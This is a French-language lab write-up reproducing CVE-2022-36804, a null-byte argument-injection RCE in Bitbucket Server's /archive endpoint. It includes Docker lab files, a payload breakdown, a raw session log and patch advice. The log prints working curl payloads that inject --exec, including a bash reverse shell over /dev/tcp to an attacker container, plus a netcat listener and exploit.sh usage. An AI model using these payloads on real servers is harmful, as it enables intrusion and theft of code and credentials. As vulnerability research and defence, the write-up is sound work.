Reproduction complète de la chaîne d'attaque de CVE-2022-36804 (RCE Bitbucket). Comprend un laboratoire dockerisé, une supervision pspy64 pour la vérification de l'injection d'octet nul, et un script d'exploitation Bash personnalisé. Basé sur les recherches d'Assetnote.
CVE-2022-36804 est une vulnérabilité d'injection d'arguments de criticité élevée/critique dans l'API REST d'Atlassian Bitbucket Server et Data Center.
Bien que le score de base officiel de la NVD (National Vulnerability Database) soit de 8,8 (Élevé), basé sur l'hypothèse de privilèges de lecture requis (PR:L), cette analyse la traite comme une faille 9,8 (Critique) (PR:N). Si un dépôt cible a l'accès public activé — une configuration courante — le vecteur d'exploitation devient entièrement pré-authentifié.
Ce dépôt documente une reproduction complète en laboratoire de la chaîne d'exploitation, directement basée sur les recherches techniques publiées par Assetnote.
L'analyse détaille le passage de l'orchestration de l'environnement et du contournement des filtres de sécurité à l'obtention d'un shell inverse interactif. Comme indiqué dans la découverte originale, cette faille permet une , qui peut être exploitée sans authentification si le dépôt cible a l'accès public activé.
La vulnérabilité est ancrée dans une « désadaptation d'impédance d'assainissement » entre l'environnement d'exécution de l'application Java et le système d'exploitation Linux.
Comme le souligne la recherche d'Assetnote, Bitbucket utilise la bibliothèque NuProcess pour construire et exécuter les commandes Git. Lorsqu'un utilisateur fournit un paramètre prefix au point de terminaison /archive, Bitbucket ne supprime pas les caractères nuls (%00) avant de transmettre la liste d'arguments au système d'exploitation.
execve() traite la commande, il coupe la chaîne à %00. À cause de la manière dont NuProcess transmet les données, le système d'exploitation traite tout ce qui suit l'octet nul comme un tout nouvel argument de ligne de commande.En injectant --exec=..., un attaquant s'échappe de l'option --prefix prévue et force le processus git archive à exécuter un binaire arbitraire, conduisant à une exécution de commande à distance (RCE).
Pour comprendre comment l'exploit passe d'un simple paramètre d'URL à une commande au niveau du système d'exploitation, nous devons disséquer la structure de la charge utile et observer le « décalage de tableau ».
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| Composant | Objectif | Rôle technique |
|---|---|---|
prefix=x | Exigence | git archive a besoin d'un préfixe ; x sert d'espace réservé. |
%00 | Le couteau | Octet nul. Java le transmet, mais le noyau Linux en C termine la chaîne ici. |
--exec=... | Le déclencheur RCE | L'option dangereuse. Détourne la fonctionnalité intégrée de Git pour exécuter des programmes externes. |
touch ... | L'action | La commande à exécuter. PoC sûr pour vérifier la RCE. |
--remote=... | La poubelle | Consomme l'ID de commit (ajouté par Bitbucket) comme argument valide, garantissant que la commande s'exécute proprement sans erreur de syntaxe. |
Ceci illustre le cœur de la vulnérabilité : comment une donnée (un préfixe de répertoire) est transformée en une instruction (une option de commande).
Contexte d'exécution de Java (état initial) :
Java voit une chaîne unique et longue comme troisième argument.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Exécution du noyau Linux (état exploité) :
L'appel système execve() du noyau divise la chaîne à chaque octet nul (\0), déplaçant les options injectées dans leurs propres positions autonomes dans le tableau d'arguments du processus.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]
Pour simuler une surface d'attaque réaliste, l'environnement de laboratoire utilise une architecture à deux conteneurs isolée au sein d'un réseau Docker bridge (hacking_net). Cette configuration garantit que l'exploitation et la surveillance peuvent être effectuées dans un environnement contrôlé sans affecter le système hôte.
Nœud victime : Exécute Atlassian Bitbucket Server version 7.17.1. Le conteneur est intentionnellement nommé bitbucket-victim. Cela reflète un raffinement de conception critique visant à assurer la conformité avec l'application de la RFC 7230 d'Apache Tomcat. En utilisant un trait d'union au lieu d'un tiret bas, l'environnement évite les erreurs 400 « Invalid Character » qui se produisent lors de l'exécution de la charge utile — un obstacle technique clé identifié et résolu pendant la phase de recherche.
Nœud attaquant : Une image Kali Linux rolling personnalisée. Contrairement à une image standard, ce nœud est préconfiguré avec l'ensemble d'outils spécifique requis pour cette chaîne d'exploitation : git pour la manipulation du dépôt, curl pour la livraison de la charge utile et netcat-traditional pour capturer le shell inverse.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
Si vous avez déjà provisionné l'environnement à l'aide du docker-compose.yml fourni ci-dessus, vous pouvez utiliser le script exploit.sh inclus pour vérifier la vulnérabilité et obtenir un shell inverse en quelques secondes.
1. Préparer l'écouteur
Sur votre nœud attaquant Kali (ou la machine hôte), démarrez un écouteur netcat pour capturer le shell :
nc.traditional -lvnp 4444
2. Exécuter l'exploit
Exécutez le script en fournissant l'IP Bitbucket cible, les noms du projet/dépôt et les détails de votre écouteur :
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. Vérifier l'accès
Une fois le script exécuté, vérifiez votre terminal netcat. Vous devriez avoir une session interactive en tant qu'utilisateur bitbucket.
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
Ce qui suit est le journal d'exécution brut de la session de laboratoire, détaillant la transition de la configuration de l'environnement à un shell inverse entièrement interactif, y compris les étapes de dépannage nécessaires pour contourner la logique applicative et les contraintes du serveur web.
J'ai commencé par déployer l'environnement vulnérable et configurer l'application cible.
docker-compose up -d --build pour déployer les conteneurs Kali attaquant et Bitbucket victime.http://localhost:7990 et j'ai attendu que la routine de configuration de Bitbucket s'initialise.CVE et un dépôt vide nommé Repo1.


Pour vérifier l'injection en temps réel plutôt que de me fier à des tests aveugles, j'ai décidé de déployer pspy64 pour surveiller les processus Linux sous-jacents.
pspy64 depuis le dépôt GitHub officiel.docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
-u 0) dans le conteneur victime, j'ai appliqué les privilèges d'exécution et démarré le moniteur :docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64

En passant au nœud attaquant (docker exec -it kali_attacker bash), j'ai envoyé la charge utile initiale d'exécution de commande à distance visant à créer un fichier (/tmp/pwned).
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
_ dans le nom d'hôte.
-H "Host: localhost") pour forcer la charge utile à traverser le serveur web jusqu'à la couche applicative Bitbucket.L'envoi de la charge utile mise à jour avec l'en-tête Host a produit une nouvelle erreur :
{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}

/archive refusait l'accès. J'en ai déduit que c'était parce que git archive ne peut pas fonctionner sur un dépôt vide — il a besoin d'un arbre de commit à analyser.README.md ("This is a test repository for CVE-2022-36804") et j'ai tenté de le pousser depuis le conteneur Kali.bitbucket_victim contenait le tiret bas interdit. Ce tiret bas me hante - leçon apprise !172.19.0.3) et j'ai poussé le commit en utilisant les identifiants admin :git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this:
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git
Une fois le dépôt initialisé, j'ai envoyé à nouveau la charge utile modifiée avec l'en-tête Host :
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
Succès. En passant à mon terminal de surveillance, j'ai observé la « preuve accablante ». pspy64 a capturé le moment exact où le processus Java a transmis la chaîne à octet nul injectée au noyau Linux. Comme prévu dans l'analyse technique, le système d'exploitation a traité tout ce qui suivait l'octet nul comme un nouvel argument.

J'ai ensuite effectué une vérification manuelle à l'intérieur du conteneur, confirmant que le fichier /tmp/pwned avait bien été créé par l'utilisateur bitbucket (UID 2003).
Pour finaliser la preuve de concept et démontrer l'impact maximal, je suis passé d'une simple création de fichier à l'obtention d'un accès système interactif complet.
nc.traditional -lvnp 4444
J'ai récupéré l'IP interne de mon conteneur Kali à l'aide de hostname -I pour m'assurer que la victime savait où envoyer le shell.
J'ai exécuté la charge utile finale. J'ai utilisé un shell inverse bash encodé en URL pour garantir que des caractères comme >, & et ' contournent les analyseurs de requêtes HTTP de Tomcat :
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"

Résultat : La connexion s'est stabilisée. J'ai obtenu avec succès un shell interactif en tant qu'utilisateur du service bitbucket, prouvant une compromission totale et réussie du service.

Il est important de distinguer l'application web du système d'exploitation sous-jacent. Ce shell inverse donne accès à l'environnement du serveur, et non des droits « Admin » dans l'interface Bitbucket.
En tant qu'injection d'arguments au niveau du système d'exploitation, le shell hérite des privilèges du processus parent — dans ce cas, le compte de service bitbucket (UID 2003).
Bien qu'il ne s'agisse pas d'un accès root immédiat, l'impact reste critique :
Vol de propriété intellectuelle : Accès non autorisé aux objets Git sous-jacents de tous les dépôts hébergés sur l'instance, contournant ainsi efficacement le contrôle d'accès basé sur les rôles (RBAC) interne de l'application.
Collecte d'identifiants : Accès aux fichiers de configuration internes et aux secrets de la base de données.
Pivotement : Le serveur compromis peut désormais être utilisé comme passerelle pour attaquer le réseau interne.
Dans un environnement durci, il s'agit d'une compromission totale du service. Bien qu'une élévation de privilèges secondaire soit nécessaire pour le contrôle complet de l'hôte, l'objectif principal — accéder à la propriété intellectuelle de l'organisation — est pleinement atteint.
Pour sécuriser les instances Bitbucket contre cette vulnérabilité, Atlassian a publié des correctifs qui mettent en œuvre une validation stricte du paramètre prefix et mettent à jour la logique d'exécution des processus afin d'empêcher la division des arguments par octet nul.
Correctif officiel : Mettez à niveau vers les versions Bitbucket Server et Data Center 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1, ou toute version publiée après août 2022.
Atténuation immédiate : Si une mise à niveau immédiate n'est pas possible, assurez-vous que l'accès public est désactivé pour tous les dépôts. Bien que cela ne supprime pas la vulnérabilité, cela déplace la surface d'attaque d'un vecteur non authentifié (pré-auth) vers un vecteur authentifié, nécessitant un compte utilisateur valide pour être exploité.
Cette preuve de concept a été développée en synthétisant les recherches provenant des sources primaires et des outils de laboratoire suivants :
Recherche d'Assetnote : Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804) – La découverte originale et la démonstration technique.
Inspiration technique : Devcraft - GitHub RCE via Git Injection – La recherche sur l'injection d'arguments Git qui a inspiré la découverte d'Assetnote.
Image vulnérable : Atlassian Bitbucket Server 7.17.1 – La couche de conteneur spécifique utilisée pour cette reproduction.
Outil de surveillance : pspy (Process Monitoring Tool) – Utilisé pour la vérification en boîte blanche de l'injection d'arguments dans le noyau Linux.